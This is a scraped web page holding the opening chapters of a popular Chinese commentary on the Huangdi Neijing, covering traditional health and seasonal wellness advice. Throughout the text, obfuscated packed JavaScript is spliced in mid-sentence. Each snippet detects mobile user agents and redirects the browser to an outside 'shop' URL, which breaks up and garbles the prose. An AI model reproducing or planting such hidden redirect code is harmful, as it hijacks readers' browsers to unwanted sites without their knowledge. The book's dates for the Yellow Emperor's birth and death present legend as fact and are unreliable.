《黄帝内经智慧解读》 第1章 （1）简介 亲爱的读者们： 你们好。 我想对每一位翻开这本书的读者表示衷心的感谢。本书旨在通过通俗易懂的方式，引领大家走进《黄帝内经》这一博大精深的中医养生宝库，一同领略其蕴含的深厚国学文化。 《黄帝内经》作为中医的奠基之作，不仅详细记载了中医的理论体系，更蕴含了丰富的养生之道。然而，由于古代文言文的表达方式和现代语境的差异，许多读者在理解其深邃内容时感到困难。为了打破这一障碍，本书采用了通俗易懂的解读方式，将复杂的中医理论和养生知识转化为现代人易于理解的语言。 在本书中，我们将详细解读《黄帝内经》中的养生智慧，包括饮食调养、情志调节等多个方面。帮助读者更好地理解和应用这些养生之道，从而改善自己的健康状况。 本书也注重国学文化的传承与弘扬。在解读《黄帝内经》的过程中，我们将深入探讨其中蕴含的儒家、道家等思想，让读者在了解中医养生的同时，也能感受到中国传统文化的博大精深。 我希望这本书能成为连接《黄帝内经》与现代读者的桥梁，让更多的人了解并受益于中医养生文化。愿每一位读者都能在阅读本书的过程中，收获健康与智慧，感受中华文化的独特魅力。黄帝内经这本书值得我们用一生去学习。祝大家阅读愉快！ 《黄帝内经》是中国古代医学的瑰宝，也是中国传统医学的四大经典着作之一。这部医学巨着的成书背景深远，内容广博，对后世医学的发展产生了深远的影响。 一、成书背景与年代 《黄帝内经》的成书年代虽然有所争议，但现代学者普遍认为其主体部分汇编成书应在西汉的中晚期，大约在公元前91年至公元前6年的近百年之间。该书并非一人一时之作，而是经过历代医家的增补发展而来，最终成为一部集医学、哲学、天文、地理等多学科知识于一体的综合性医书。 二、内容与结构 《黄帝内经》分为《灵枢》和《素问》两部分，共18卷，约20万字。其中，《素问》重点论述了脏腑、经络、病因、病机、病证、诊法、治疗原则以及针灸等内容；而《灵枢》则偏重于人体解剖、脏腑经络、腧穴针灸等方面的知识。这两部分互为补充，共同构成了《黄帝内经》的理论体系。 三、理论贡献 在理论上建立了中医学上的“阴阳五行学说”、“脉象学说”、“藏象学说”等，从整体观上来论述医学，呈现了自然、生物、心理、社会“整体医学模式”。该书还强调了“治未病”的思想，即注重预防疾病的发生，而不仅仅是治疗已病。这种思想对后世医学的发展产生了深远的影响。 四、价值意义 《黄帝内经》不仅是一部医学着作，更是一部关于生命的百科全书。它涉及了医学、哲学、天文、地理等多个领域的知识，为我们理解生命、健康、疾病等问题提供了独特的视角和方法。同时，也是中华民族传统文化的重要组成部分，体现了古代中国人民对生命、健康、自然等问题的深刻认识和理解。 总之，《黄帝内经》是一部博大精深的医学巨着，它的理论体系、思想观点和价值意义对后世医学的发展产生了深远的影响。作为中国传统医学的瑰宝，确实是一部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428587|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博大精深的医学经典。它不仅是中医理论体系的重要基石，更是一部关于生命、健康和养生之道的宝典。在深入探讨其医学价值的同时，我们也应关注其中蕴含的丰富养生之道。 这部着作所倡导的“天人合一”观念，正是养生思想的核心。它教导我们与自然和谐共处，关注自然环境的变化，并根据其变化来调整自己的生活方式。比如，在春季养生应顺应肝气生发之势，夏季养心阳旺盛之态，秋季则应收敛肺气以防秋燥，冬季则当养藏肾精以御寒邪。这种因时制宜的养生策略，体现了中医“顺应自然”的治疗理念。 还强调了“形神合一”的重要性。它认为，人的形体和精神是相互依存、相互影响的。因此，在养生过程中，我们不仅要关注身体的锻炼和调养，更要注重精神的修养和调节。通过保持内心的平静和愉悦，我们可以更好地调节身体的生理机能，达到身心健康的目的。 在《黄帝内经》中，我们还可以找到许多具体的养生方法和技巧。比如，“食饮有节”的原则，强调饮食要有规律、有节制，避免暴饮暴食和偏食。这一原则在现代社会依然具有重要的指导意义，尤其是在生活节奏加快、快餐文化盛行的今天。 同时还介绍了许多有益于身体健康的运动方式，如导引、气功等。这些运动方式不仅可以帮助我们调和气血、疏通经络、增强体质，还能让我们在快节奏的生活中找到身心的平衡和宁静。 《黄帝内经》作为中医理论的瑰宝，其智慧深远且广泛，不仅涵盖了医学与养生，更涉及哲学、宇宙观等多元层面。 这章没有结束，请点击下一页继续阅读！ 第1章 （2）古代养生智慧：现代人也能学的健康秘籍 黄帝所描述的“上古真人”，实际上为我们揭开了古代修行者至高境界的神秘面纱。他们不仅仅是对生命和自然的探索者，更是身心和谐统一的实践者。 “提挈天地，把握阴阳”，这里的描述并非字面上的掌控自然，而是指这些修行者能够与天地自然融为一体，洞察并顺应宇宙间的阴阳变化规律。这种境界，不仅是对自然法则的深刻理解，更是对生命本质的探寻和领悟。 “呼吸精气”则揭示了他们修炼身心的方法。他们通过呼吸，吸纳天地间的精气，以此来滋养身心，提升生命的能量。这种修炼方式，体现了古人对于生命能量的独到见解和运用。 “独立守神”则强调了内心的重要性。在喧嚣的世界中，他们能保持内心的宁静和专注，不为外界所动摇。这种内心的定力，是他们深入探索生命、领悟宇宙的关键。 “肌肉若一”则是对他们身体状态的生动描绘。他们的身体各部分都协调一致，仿佛融为一体，这是长期修炼使得身心高度统一的体现。 而“寿敝天地，无有终时”则是对他们寿命的极致描绘。他们通过修炼，达到了与宇宙合一的境界，超越了生死轮回的限制，实现了生命的永恒。这种永恒，不仅指生命的长度，更指生命的广度和深度。 “道生”二字，更是揭示了这些真人所达到的境界，都是源于对“道”的深刻理解和体悟。这里的“道”，是中国古代哲学中最为核心的概念之一，它代表着宇宙间最本原、最普遍的规律或法则。 在现代社会，我们或许无法直接达到“上古真人”的境界，但黄帝的这段话为我们提供了一种追求身心和谐、探索生命真谛的启示。通过理解“提挈天地，把握阴阳”的全局观和整体思维，我们可以更好地应对生活中的挑战；通过“呼吸精气”的修炼方式，我们可以提升生命的能量，保持身心的健康；通过“独立守神”的内心修炼，我们可以保持内心的宁静和专注，应对外界的诱惑和干扰；通过“肌肉若一”的身体锻炼，我们可以达到身心的和谐统一。 黄帝的这段话不仅为我们揭示了古代修行者的至高境界，更为我们提供了一种追求身心和谐、探索生命真谛的理想化身心状态和生活方式。 黄帝笔下的“上古真人”呈现了一种超凡脱俗的修行境界，他们掌控天地、调和阴阳、呼吸精气、坚守心神，达到肌肉和谐，进而寿命绵长，仿佛与天地同寿。与现代人相比，这种境界既有相似之处，也有显着差异。 现代人在尊重自然法则方面已有所体现，但可能缺乏对与天地自然和谐共生的深刻理解和实践。在快节奏的生活中，人们往往更关注个人利益，忽视与自然的联系。 关于“呼吸精气”，现代人虽注重呼吸训练和空气质量，但多关注身心调节，而非直接吸纳宇宙能量。 在“独立守神”方面，现代人追求内心宁静和专注，但在复杂的社会环境下，往往难以保持。 对于“肌肉若一”的身体状态，现代人虽注重锻炼和健康，但更多关注外在体型和肌肉力量，而非内在身心的和谐。 至于“寿敝天地，无有终时”的境界，虽遥不可及，但现代人在追求健康和长寿方面已有所努力。通过科学饮食、锻炼和健康管理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428588|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，人们可以延长寿命，提高生活质量。 从“上古真人”的描述中，我们可以汲取智慧，结合现代实际，追求身心的和谐统一。尊重自然、珍视生命、保持内心宁静、注重身体健康，都是实现这一目标的重要途径。让我们放慢脚步，珍惜生命，追求真正的人生价值和意义。 在中古时期，关于“至人”或“真人”的描述，无疑为我们打开了一扇窥视古人哲学和道家思想的窗口。古人通过观察自然现象而提炼的哲学理念，意在倡导顺应自然、与宇宙同步的生活态度。这一思想不仅具有哲学价值，也为现代人提供了生活指南。 在深入探讨“至人”或“真人”的概念时，我们不难发现，这一理想人格不仅仅是一个哲学概念，更是中国传统文化中对于人性、道德和宇宙观的高度概括。从人性的角度来看，“至人”或“真人”是人性完美的体现，他们具备高尚的品德、博大的胸怀和深邃的智慧，能够洞察世间万物的本质和规律。从道德的角度来看，他们是道德楷模和人生导师，通过自身的言行和实践，引导人们追求真善美、摒弃假恶丑。从宇宙观的角度来看，他们是宇宙真理的揭示者和实践者，通过修炼身心、顺应自然，达到了与宇宙合一的境界。 在实际生活中，“至人”或“真人”的修炼并非一蹴而就，而是一个长期且不断深化的过程。他们通过不断的自我反省、学习和实践，逐步提升自己的道德修养、智慧水平和精神力量。他们的存在，就像一盏明灯，照亮了人们前行的道路，让人们看到了人性中的美好和光明。 这章没有结束，请点击下一页继续阅读！ 第1章 （3）上古天真论 说轩辕黄帝，感受中华文化的博大精深 关于“昔在黄帝，生而神灵，弱而能言，幼而徇齐，长而敦敏，成而登天”这句话，它确实出自《黄帝内经·素问》的《上古天真论》篇，是对黄帝这位中华民族始祖非凡资质和伟大成就的赞美。这句话不仅体现了古人对圣君贤人的崇敬，也为我们现代人提供了宝贵的启示。 上古时代的轩辕黄帝，作为中华民族的始祖之一，其传奇的故事和非凡的成就，至今仍为人们所传颂。下面，我将为您详细介绍这位伟大帝王的故事。 一、身世与背景 轩辕黄帝，复姓公孙，名轩辕，是古华夏部落联盟的首领，居五帝之首。他出生于公元前2717年，逝世于公元前2599年，有着长达118年的寿命。黄帝因有土德之瑞，土为黄色，故号称黄帝。他居住在轩辕之丘，因此也被称为轩辕氏。黄帝建都于有熊（今河南郑州新郑市），亦称有熊氏。 二、非凡资质与成就 1. 智慧与发明：黄帝被尊为中华民族的“人文初祖”，他的一生充满了智慧和创造。传说中，黄帝发明了车、船、锅、镜子等生活工具，制造了弩这种武器，极大地改善了人们的生活条件。此外，他还让仓颉创造文字，伶伦制作乐律，大挠制定甲子，岐伯写了医书，这些贡献都为后世中华文明的发展奠定了坚实的基础。 2. 统一华夏：黄帝在位期间，致力于统一华夏部落与征服东夷、九黎族。他通过战争和政治手段，成功地将这些部落纳入华夏版图，为中华民族的统一和繁荣做出了巨大的贡献。 3. 治国理念：黄帝在位期间，播百谷草木，大力发展生产，始制衣冠、建舟车、制音律等。他的治国理念以民为本，注重发展生产、改善民生，使得华夏民族逐渐走向繁荣富强。 三、传说与故事 1. 黄帝与炎帝：黄帝与炎帝族之间曾发生战争，但最终两族合并，共同创造了华夏文明。因此，中国人自称“炎黄子孙”，以表达对这两位伟大祖先的敬仰和怀念。 2. 黄帝与蚩尤：蚩尤是九黎族的首领，与黄帝发生了着名的“涿鹿之战”。在这场战争中，黄帝凭借智慧和勇气战胜了蚩尤，巩固了华夏部落联盟的地位。 3. 黄帝治国修道：黄帝在位期间不仅致力于国家治理和统一战争，还注重个人修行和悟道。他与广成子等仙人交往密切，学习治国理政、天地至道及长寿之精要。黄帝暮年再访广成子后，退隐崆峒山，活了120岁，在逍遥观得道成仙。 四、影响与地位 轩辕黄帝作为中华民族的始祖之一，其非凡的资质和伟大的成就为后世子孙树立了榜样。他被尊为“人文初祖”，其治国理念和智慧对后世中华文明的发展产生了深远的影响。黄帝文化流淌在黄河流域、汇聚于具茨山脉，孕育了一代又一代华夏儿女。每年在陕西黄帝陵举行的祭祀活动以及在河南新郑的拜祖活动都表达了人们对这位伟大祖先的敬仰和怀念之情。 在现代社会，我们依然可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428589|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以从中汲取力量，将其应用于我们的生活和工作之中。 “生而神灵”，这让我们明白，每个人都有自己独特的天赋和潜能。在这个充满机遇和挑战的时代，我们应该勇敢地追求自己的梦想，不断发掘和利用自己的潜能，为社会作出贡献。 “弱而能言”，这句话提醒我们，儿童时期是学习和成长的关键时期。在现代教育中，我们应该注重培养孩子的语言表达能力和沟通能力，为他们未来的发展打下坚实的基础。 “幼而徇齐”，意味着我们要具备迅速理解和应对各种情况的能力。在现代社会，变化和挑战无处不在，只有具备了这种能力，我们才能在激烈的竞争中立于不败之地。 “长而敦敏”，敦厚诚实和聪敏过人是每个人都应该追求的品质。这些品质不仅能帮助我们在人际交往中赢得信任和支持，还能让我们在处理问题时更加明智和果断。 “成而登天”，则是对我们每个人的期许。在现代社会，我们每个人都有自己的梦想和目标，只要我们不断努力、不断追求，就能够实现自己的梦想，达到“登天”的境界。 这句话不仅仅是对黄帝一生的赞誉，更是对我们每个人的鼓励和期待。它告诉我们，每个人都有可能成就非凡，只要我们勇于追求、敢于创新、不断努力。在现代社会这个充满机遇和挑战的时代，我们更应该从中汲取力量，不断发掘自己的潜能和优势，努力成为更好的自己，并为实现自己的梦想和目标而努力奋斗。 第1章 （4）穿越千年，探寻上古之人的养生秘诀 古代与现代人类生活方式变迁及其对寿命与活力的影响，这确实是一个值得深入探讨的话题。 关于“上古之人，春秋皆度百岁，而动作不衰”的描述，这虽然带有古人对长寿和健康的向往，但也确实反映了当时社会的一种生活状态。在古代，人们的生活节奏相对较慢，劳作方式也更接近自然，这种环境确实有助于保持身体的活力。但我们也必须承认，由于医疗条件、生活环境等限制，古人的平均寿命远低于百岁。 而“今时之人，年半百而动作皆衰”的现象，则与现代社会的诸多因素有关。科技的进步和生活方式的改变，确实为我们带来了前所未有的便利，但同时也带来了新的问题。压力、污染、不健康的饮食习惯等因素，都在一定程度上加速了我们身体的衰老。尤其是现代社会的便捷性，让很多人缺乏足够的运动，这无疑是降低身体活力的一个重要原因。 至于“时世异耶？人将失之耶？”的问题，我认为两者皆有。时代的变迁无疑带来了生活的便利，但同时也带来了新的挑战。而人们是否“失智”，则完全取决于我们如何面对这些变化，如何调整自己的生活方式。 为了在现代社会中保持健康和活力，我建议大家从以下几个方面入手： 1. 饮食方面：选择营养均衡的食物，多吃蔬菜、水果和全谷物，控制红肉、加工食品和含糖饮料的摄入量。这样的饮食模式有助于降低患病风险，提高身体活力。 2. 运动方面：每天进行30分钟的有氧运动，如快走、跑步、游泳或骑自行车等。此外，还可以进行力量训练，增强肌肉和骨骼。这些运动不仅可以提高心肺功能和代谢率，还可以增强身体的抵抗力和适应能力。 3. 作息方面：尽量保证每晚7-9小时的睡眠时间，并尽量在相同的时间上床和起床。避免长时间盯着电子屏幕，尤其是在睡前。良好的作息习惯有助于调整生物钟，提高睡眠质量。 4. 心态方面：学会积极面对生活中的挑战和压力，保持乐观的心态。可以通过冥想、瑜伽、阅读、旅行等方式来放松身心，缓解负面情绪。 保持健康和活力需要我们在饮食、运动、作息和心态等多个方面进行调整和改变。通过采取积极的生活方式，我们可以更好地应对现代社会的挑战，享受更加健康和充实的生活。 今时之人的生活方式，确实值得我们深思。以酒为浆、以妄为常的放纵方式，确实在悄然间侵蚀着我们的健康。酒精的刺激和过度的欲望，无疑会使我们的精神逐渐耗散，真元之气日益衰竭。这种生活方式导致人们在半百之年便显露出衰老的迹象，确实与“持满”和“御神”的缺失有着密切的关系。 在中医理论中，“持满”强调保持精气神的充盈和平衡，而“御神”则是指调控自身的精神状态，使之与天地自然的运行规律相协调。然而，现代社会的快节奏生活往往让我们忽视了这一点，过度追求即时的快乐和满足，而忽视了长远的健康。 为了改善这种情况，我们可以从以下几个方面入手： 对于“以酒为浆”的现象，我们必须认识到酒精对身体的潜在危害。虽然适量的饮酒可能带来一定的社交和情感的放松，但过量饮酒则会对肝脏、心脏等多个重要器官造成损害，加速身体的衰老。因此，我们应该倡导理性饮酒，避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428590|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免过度依赖酒精来寻求快感。 关于“以妄为常”的问题，这实际上涉及到个人价值观和心态的调整。在现代社会，物质欲望和功利心态往往驱使我们追求即时的满足和成功，却忽视了健康、家庭、友情等更为重要的东西。为了改善这一点，我们需要反思自己的价值观，树立健康、积极、向上的生活态度。 针对“醉以入房，以欲竭其精”的现象，我们也需要意识到性生活的健康和节制对于身体的重要性。过度的性生活不仅会导致身体疲劳和精力透支，还可能引发一系列的健康问题。因此，我们应该学会节制性生活，保持身心的平衡和健康。 “不知持满，不时御神”也是导致现代人身体衰老的一个重要原因。在现代社会中，人们往往面临着巨大的生活压力和竞争压力，这些压力会导致我们的精神过度紧张，身体过度消耗。为了缓解这种情况，我们需要学会调节自己的精神状态，保持内心的平静和宁静。这可以通过冥想、瑜伽、阅读等方式来实现。 关于“起居无节”的问题，我们必须认识到规律的生活习惯对于身体健康的重要性。良好的作息习惯、合理的饮食搭配、适度的运动锻炼等都是保持身体健康的必要条件。因此，我们应该注重自己的生活习惯，尽量做到早睡早起、饮食均衡、适度运动等。 要改善现代人身体衰老的问题，我们需要从多个方面入手。通过调整生活方式、树立健康的生活态度、节制性生活、调节精神状态以及保持规律的生活习惯等方式，我们可以有效地延缓身体的衰老过程，享受更加健康、充实和美好的人生。 这章没有结束，请点击下一页继续阅读！ 第1章 （5）男女生理周期大不同！你了解多少？ 在探讨《上古天真论》中关于女性生理周期的理论时，我们确实被这一源自《黄帝内经》的古老观点所吸引。它提出的“女七”生命周期理论，不仅揭示了女性生理变化的独特规律，更为女性的养生和保健提供了宝贵的指导。 从七岁起，女性的身体便开始了与“七”这一数字紧密相关的生命周期。七岁时，肾气开始旺盛，乳牙逐渐更换为恒牙，头发也开始变得茂盛，这是女性身体发育的第一个重要阶段。到了十四岁，月经初潮的来临标志着女性生殖系统的成熟，进入了人生的新篇章。二十一岁时，肾气达到平衡状态，身体各方面功能趋于稳定，这是女性生命中的一个重要转折点。而到了二十八岁，女性达到了生命的巅峰状态，筋骨强健，身体最为壮盛。 然而，正如万物皆有盛衰，女性的身体也不例外。随着年龄的增长，特别是三十五岁之后，女性的身体各项功能开始逐渐衰退，肾气减弱，面部出现皱纹，头发也可能逐渐变白。但正如《上古天真论》所强调的，这并不意味着女性就应该放任这种衰退。相反，这正是女性需要更加关注自己身体健康和心理健康的关键时刻。 在中医理论中，肾被视为“先天之本”，主藏精，主生长发育与生殖。因此，当肾气开始减弱时，女性需要在饮食和生活习惯上进行调整，保持良好的心态和情绪。通过适当的运动、合理的饮食、充足的休息以及积极的心态，女性可以延缓身体的衰老，保持健康和活力。 值得一提的是，《上古天真论》中的“女七”理论并不仅仅局限于生理层面。它还可以被引申为女性在社会、文化和个人成长中的生命周期。每一个“七年”都代表着女性在不同阶段需要面对的挑战和机遇。从青春期的叛逆到中年期的沉稳，再到老年期的智慧，女性需要不断地学习和成长，以适应不同阶段的生活需求。 在现代社会，女性面临着更多的压力和挑战。工作、家庭、子女教育等各种问题都可能让女性感到焦虑和压力。因此，了解并运用《上古天真论》中的女性生理周期理论，不仅可以帮助女性更好地照顾自己的身体和心灵，还可以为她们提供一种面对生活挑战的智慧和勇气。 在《黄帝内经》的《上古天真论》中，女性的生理周期被细致地划分为七个重要阶段，每个阶段都有其独特的生理特征和保养重点。以下是根据《黄帝内经》中的理论，对女性在不同生理周期中如何进行保养的详细解答： 一、7岁-肾气盛，齿更发长 特征：肾气开始旺盛，牙齿开始更换，头发逐渐浓密。 保养重点：此时应注意保持充足的睡眠，合理饮食，补充足够的营养以支持生长发育。 二、14岁-二七而天癸至，任脉通，太冲脉盛，月事以时下 特征：月经来潮，标志着女性生殖系统的成熟。 保养重点：学习并遵循良好的月经卫生习惯，避免受寒和过度劳累。饮食上应注意补血、调经，同时保持情绪稳定。 三、21岁-三七，肾气平均，故真牙生而长极 特征：智齿生长，身体发育达到高峰。 保养重点：继续保持健康的生活习惯，注意口腔健康，避免智齿生长过程中的问题。 四、28岁-四七，筋骨坚，发长极，身体盛壮 特征：身体达到最佳状态， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428591|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋骨强健，头发浓密。 保养重点：此时应注意保持适当的运动，增强体质，同时注意饮食营养，保持健康的生活方式。 五、35岁-五七，阳明脉衰，面始焦，发始堕 特征：面部开始出现皱纹，头发开始脱落。 保养重点：开始注重抗衰老的保养，如使用合适的护肤品，保持充足的睡眠，避免过度劳累和压力过大。 六、42岁-六七，三阳脉衰于上，面皆焦，发始白 -特征：面部皱纹增多，头发开始变白。 保养重点：除了继续抗衰老的保养外，还应注意饮食的调养，多食用具有抗氧化作用的食物，如新鲜蔬果、坚果等。 七、49岁-七七，任脉虚，太冲脉衰少，天癸竭，地道不通，故形坏而无子也 特征：进入更年期，月经停止，生育能力丧失。 保养重点：此时女性面临较大的生理和心理变化，应注意调节情绪，保持积极的心态。同时，饮食应以清淡为主，多食用富含钙质和维生素的食物，以预防骨质疏松等疾病的发生。 总结来说，《黄帝内经》中的《上古天真论》为女性在不同生理周期中的保养提供了宝贵的指导。女性应根据自己的年龄和生理特征，采取相应的保养措施，以保持身体的健康和美丽。 你对于男性生理周期的描述，确实深入到了《黄帝内经》的《上古天真论》篇的精髓。这一古代中医理论，以八年为一个阶段，勾勒出了男性从童年到老年的生理变迁画卷，其中蕴含了深厚的生命哲学和养生智慧。 这章没有结束，请点击下一页继续阅读！ 第2章 四气调神大论 （1）春季养生秘诀大公开！ “春三月，此为发辰。天地俱生，万物以荣”，它像一幅画卷，将我们带入了一个生机勃勃的春季世界。在这个季节里，万物复苏，一切都显得那么有活力，那么充满希望。 从中医养生的角度来看，春季养生真的是一个值得我们深入探讨的话题。毕竟，春天不仅仅是季节的更迭，更是我们身体与自然和谐共处的关键时刻。顺应自然界的生发之气，注意保护体内的阳气，使身体与自然界保持和谐统一的状态，这是春季养生的核心。 具体来说，我们可以从以下几个方面来养生： 1. 晚睡早起：这并不是说我们要熬夜，而是要根据春季白天渐长、夜晚渐短的特点，适当调整自己的作息时间，以顺应自然界的节奏。这样做有助于我们养护体内的阳气，保持精力充沛。 2. 运动锻炼：春季是进行户外运动的最佳季节。通过运动锻炼，我们可以促进体内的气血流通，增强身体的抵抗力。但需要注意的是，运动时要避免过于剧烈，以免耗伤阳气。 3. 饮食调养：春季饮食应以清淡为主，多吃蔬菜、水果等富含维生素的食物，以补充体内所需的营养。同时，要注意少吃油腻、辛辣的食物，以免助热生火。 4. 精神调养：在春季，我们还要注重精神调养。保持心情愉悦、心情舒畅，避免生气、发怒等负面情绪的影响。可以通过听音乐、赏花、踏青等方式来调节情绪，让自己保持一个平和的心态。 除了以上几点，还有一些其他的春季养生方法也值得我们关注： 穿衣保暖：虽然春季气温逐渐回暖，但早晚温差较大，因此要注意穿衣保暖，避免感冒。 通风换气：春季是细菌和病毒滋生的季节，因此要注意室内通风换气，保持空气新鲜。 春季养肝：中医认为，春季是养肝的好时节。因此，我们要保持心情舒畅，避免过度压抑和焦虑，同时可以多吃一些养肝的食物。 适度进补：根据个人体质和需求，可以适度进补一些具有滋补作用的食物或药物，以增强体质。 春季养生是一个全方位的过程，需要我们从多个方面入手。通过合理的饮食、运动、精神调养等方式，我们可以让自己的身体和心灵都得到充分的滋养和放松，从而迎接一个更加健康、美好的春天。同时，我们也要珍惜这个充满生机和希望的季节，用心去感受大自然的美丽和神奇。 《四气调神大论》，为我们详细阐述了春季养生的精髓。春季，作为四时之首，万物复苏，生机盎然，人体的养生之道也应顺应这一自然规律。 首先，“夜卧早起，广步于庭，被发缓形，以使志生”揭示了春季作息与运动的要义。随着白昼渐长，夜晚缩短，人们应适当调整作息，晚睡早起，但这里的“晚睡”并非指熬夜，而是相对于冬季的早睡而言。早起后，多到户外散步，舒展身体，放松心情，有助于体内阳气的生发，使精神焕发。 “生而勿杀，予而勿夺，赏而勿罚”则强调了春季养生的心态调整。春季是生命萌发的季节，我们应像大自然一样，保持一颗宽容、平和的心态，多给予、少索取，多奖赏、少惩罚。这种心态的调整不仅有助于减少负面情绪的影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428592|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还能促进身心健康。 “逆之则伤肝，夏为实寒变，奉长者少”，则警示我们违背春季养生规律的后果。如果熬夜、久坐不动、情绪压抑等，就会伤害到肝脏。肝脏是人体的重要器官之一，主疏泄、藏血，与情绪调节密切相关。一旦肝脏受损，不仅影响情绪，还可能影响夏季的健康状况。 春季养生并非只关注这几个方面。在细节上，我们还应注意“疏肝解郁”、“养肝血”、“饮食调养”和“精神调养”等方面。 春季肝气生发，我们要注意疏肝解郁，多参加户外活动，欣赏大自然的美景，让心情变得愉悦；同时，可以饮用玫瑰花茶、菊花茶等有助于舒缓情绪的茶饮。 养肝血也是春季养生的重要一环。我们要多吃富含铁元素的食物，如瘦肉、动物肝脏、黑芝麻等，有助于补充肝血，增强肝脏的储血功能。 在饮食方面，春季应以清淡为主，多吃蔬菜、水果等富含维生素的食物，避免过多摄入油腻、辛辣、刺激性的食物。同时，可以多吃一些具有养肝、疏肝、解郁功效的食材，如菠菜、荠菜、草莓、柑橘等。 春季养生还应注重精神调养。我们可以通过听音乐、阅读、旅行等方式来放松身心，缓解压力。同时，也要避免过度劳累和情绪波动过大，以免对肝脏造成不良影响。 总之，春季养生是一个综合性的过程，需要我们从多个方面入手。只有做到“夜卧早起，广步于庭，被发缓形”，并保持一颗宽容、平和的心态，才能让我们的身体和心灵都得到充分的滋养和放松，迎接一个更加健康、美好的春天。 第2章 （2）夏日养生新风尚，让你活力四溢！ “夏三月，此为蕃秀。天地气交，万物华实”，仿佛为我们描绘了一幅夏日盛景的画卷。每当读到这句话，我都仿佛能感受到那热烈的夏日阳光，闻到那芬芳的花香，看到那些生机勃勃的万物。 在中医养生理论中，夏季被视为阳气最盛的季节。而阳气，就像是我们体内的太阳，为我们提供生命所需的能量。在这个季节，我们不仅要注重身体的调养，更要注重心态的平和。因为夏季的炎热，容易让人烦躁不安，情绪波动大，这对身体健康是极为不利的。所以，我们要学会在夏日里“养心”，让心灵如同那静谧的湖水，波澜不惊。 而“万物华实”这一描述，更是让我对生命充满了敬畏。在自然界中，夏季是许多植物开花结果的季节，这不仅仅是生命的繁衍，更是生命的延续。这也让我想到，我们每个人都是宇宙间的一个小小生命体，我们的生命也在不断地繁衍和延续。所以，我们要珍惜每一个生命，尊重每一个生命。 此外，“天地气交”这一说法，也体现了中医“天人合一”的思想。它告诉我们，人与自然是一个整体，我们的身心状态与自然环境息息相关。在夏季这个“蕃秀”的季节里，我们应该顺应大自然的节奏，享受阳光和雨露的恩赐，让身心得到充分的放松和滋养。 在哲学层面，这句话也提醒我们要有开放的心态和包容的精神。就像大自然在夏季能够容纳各种生命形式，让它们共同繁荣一样，我们也应该学会包容和接纳不同的思想、文化和人群，让社会更加和谐、多元。 它告诉我们，在夏季这个生机勃勃的季节里，我们要顺应自然界的规律，保持身心的平衡与健康，同时也要有开放的心态和包容的精神，让生命更加繁荣与美好。 “夜卧早起，无厌于日，使志无怒，使华英成秀，使气得泄，若所爱在外，此夏气之应，养长之道也。”这句话它为我们揭示了夏季养生的智慧。 